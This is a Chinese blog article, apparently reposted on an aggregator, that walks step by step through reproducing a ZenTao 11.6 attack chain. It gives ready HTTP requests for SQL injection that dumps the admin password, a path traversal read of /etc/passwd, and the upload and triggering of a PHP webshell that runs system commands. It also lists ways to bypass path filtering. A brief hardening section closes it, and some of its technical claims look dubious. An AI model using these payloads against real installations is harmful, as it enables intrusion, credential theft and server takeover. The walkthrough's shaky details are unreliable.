当前位置: 首页 > news >正文

手把手复现禅道11.6后台漏洞:从SQL注入到RCE的完整攻击链分析

禅道11.6漏洞链深度剖析:从SQL注入到系统沦陷的实战路径

在开源项目管理领域,禅道凭借其完整的功能矩阵长期占据重要地位。但当系统存在多个安全缺陷时,攻击者往往能通过漏洞组合实现权限升级。本文将还原一个典型的攻击链路:从低危的SQL注入开始,通过参数传递机制缺陷逐步突破边界,最终完成远程代码执行的完整过程。

1. 环境搭建与初始侦查

搭建测试环境建议使用XAMPP集成包配合禅道11.6版本,确保与漏洞环境完全匹配。关键配置要点包括:

  • PHP版本需锁定5.6.x(与漏洞触发条件强相关)
  • MySQL启用宽松模式(模拟真实企业环境)
  • 关闭所有PHP安全过滤扩展(如magic_quotes_gpc)

初始信息收集技巧

GET /zentao/index.php?mode=getconfig HTTP/1.1 Host: target.com

这个看似无害的版本查询请求,实际上会返回包括数据库配置、安装路径在内的敏感信息。通过Burp Suite拦截响应可观察到:

"dbHost":"localhost", "dbUser":"root", "dbPassword":"zentao123", "installRoot":"C:\\xampp\\zentao"

2. 参数传递机制的安全盲区

禅道的路由解析存在设计缺陷,其router.class.php中PATH_INFO模式使用连字符分割参数,但未对参数做类型校验。观察以下关键代码段:

// zentao/framework/base/router.class.php public function setRouteByPathInfo($pathInfo) { $parts = explode('-', $pathInfo); $this->moduleName = $parts[0]; $this->methodName = $parts[1]; // 无过滤直接赋值 }

这种宽松处理导致攻击者可以构造特殊参数链,例如:

api-getModel-api-sql-sql=[注入语句]

实际形成的方法调用链为:

  1. 调用api模块的getModel方法
  2. 在getModel中继续调用api模块的sql方法
  3. 将sql参数直接拼接查询

3. SQL注入的精准利用

通过前期的路由分析,构造突破认证的注入Payload:

GET /zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user+where+account%3d'admin' HTTP/1.1

关键突破点在于api/model.php中的危险逻辑:

public function sql($sql) { if(stripos($sql, 'select') === 0) { return $this->dao->query($sql); // 直接执行未过滤 } }

获取管理员凭证后,攻击者通常会进行以下操作:

  1. 修改会话令牌维持访问
  2. 提取其他系统用户信息用于横向移动
  3. 查询数据库配置为后续渗透做准备

4. 文件操作漏洞的连锁反应

利用已获取的权限,通过文件读取漏洞获取系统关键信息:

GET /zentao/api-getModel-file-parseCSV-fileName=../../../../etc/passwd HTTP/1.1

漏洞根源在于file/model.php中的路径处理缺陷:

public function parseCSV($fileName) { $content = file_get_contents($fileName); // 直接读取 return explode("\n", $content); }

虽然系统有parsePathInfo()函数进行过滤,但可通过以下方式绕过:

  • 使用多重../跳转目录
  • 利用Windows特性(如C:\windows\win.ini
  • 结合编码混淆(如URL编码、双重编码)

5. 实现RCE的终极突破

组合利用文件写入和包含漏洞完成代码执行,分两个阶段实施:

阶段一:植入Webshell

POST /zentao/api-getModel-editor-save-filePath=shell.php HTTP/1.1 <?php system($_GET['cmd']);?>

阶段二:触发执行

GET /zentao/api-getModel-api-getMethod-filePath=shell.php/1?cmd=whoami HTTP/1.1

技术原理

  1. editor/model.php中的save方法未校验文件内容
  2. helper.class.php的import方法存在动态包含漏洞
  3. 通过dirname()函数特性绕过路径检查(需多级目录)

6. 防御策略与加固方案

针对此类漏洞链,建议实施分层防御:

代码层防护

// 安全的参数处理示例 function safeParam($input) { if(preg_match('/\.\.|\0|\'/i', $input)) { throw new Exception('Invalid input'); } return realpath($input); }

系统层加固

  • 禁用危险函数(如file_get_contentssystem
  • 配置open_basedir限制文件访问范围
  • 对数据库操作强制使用预处理语句

运维监控建议

  1. 部署WAF规则拦截异常参数模式
  2. 监控敏感文件变更(如.php文件创建)
  3. 建立SQL注入尝试的实时告警机制
http://www.gsyq.cn/news/1474811.html

相关文章:

  • Windows字体自定义终极指南:No!! MeiryoUI 5分钟快速上手
  • 盘点RFID固定资产管理系统,这几个品牌实力领跑 - 固定资产管理系统
  • 2026 石家庄黄金回收权威实测:TOP1 顶流合扬,五大机构客观排行 - 奢侈品交易观察员
  • 三步完成MIFARE标签管理:MIFARE Classic Tool的完整解决方案
  • 【独家逆向工程验证】:CSDN AI分发是否真能零配置适配各端?我们测试了12类内容+8大平台,结果颠覆认知!
  • 避坑指南:ZYNQ7000 GPIO开发中那些容易踩的雷(MIO7/8限制、中断共享、寄存器读写误区)
  • 2026最新!降AIGC平台测评:高效论文降重与改写工具推荐 - 降AI小能手
  • 51单片机驱动LCD1602:从并行时序原理到代码调试全解析
  • 武汉卖金避坑实测:S 级推荐禹竞,持证鉴定规避缺秤压价套路 - 奢侈品交易观察员
  • 为什么你的CSDN文章转化率始终卡在12%?AI看板里这6个衰减信号,83%的人至今未察觉
  • rgthree-comfy终极指南:用10个核心节点让ComfyUI工作流效率提升300%
  • MATLAB一键运行的ESMD信号分解工具包,含风速示例与Java/Python扩展支持
  • 2024数模A题全流程复现:螺旋结构建模+动态数值模拟+可视化出图
  • 2026年 球头柱塞厂家推荐榜单:螺纹球头柱塞/内六角弹簧柱塞/短型弹簧柱塞等精密定位与自锁组件实力工厂 - 品牌企业推荐师(官方)
  • 上海钻石回收排行榜:2026年6月实测,谁才是靠谱之选? - 薛定谔的梨花猫
  • 突破网盘下载瓶颈:LinkSwift直链解析技术深度解析
  • Arduino红外遥控解码:从原始信号捕获到协议解析的实践指南
  • SAP Cloud Connector连接BTP失败?从401错误到Location ID,一次搞懂所有疑难杂症
  • RobotStudio自动路径实战:从3D模型到机器人G代码,搞定异形工件焊接/涂胶
  • SignalTap II波形导出:打通FPGA物理调试与虚拟验证的闭环
  • 2026石家庄四区名表回收,实测筛选靠谱老店,资质齐全实收秒速到账 - 薛定谔的梨花猫
  • NarratoAI:基于AI的视频解说自动化工具的技术实践与架构解析
  • TotalSegmentator:5个技巧快速掌握开源医学图像分割工具
  • 2026六月最新实测对比六家回收门店,本土老店四区收包实价估价没有胡乱压价 - 薛定谔的梨花猫
  • 5分钟快速部署苹果平方字体:跨平台视觉升级全攻略
  • 从ULN2803驱动大尺寸数码管失败案例,详解达林顿阵列与OC门设计要点
  • 告别手动整理!用ZLAN_ACC自动抓取ABAP程序所有依赖项(含表、函数、类、TCODE)
  • RT-Thread串口驱动新玩法:手把手教你封装一个可复用的DMA空闲中断UART设备类
  • 手把手教你用TinyProxy配置联通停机卡免流模式(附最新配置文件)
  • AutoSubs:终极本地AI字幕生成器 - 免费开源、专业集成、隐私优先的完整解决方案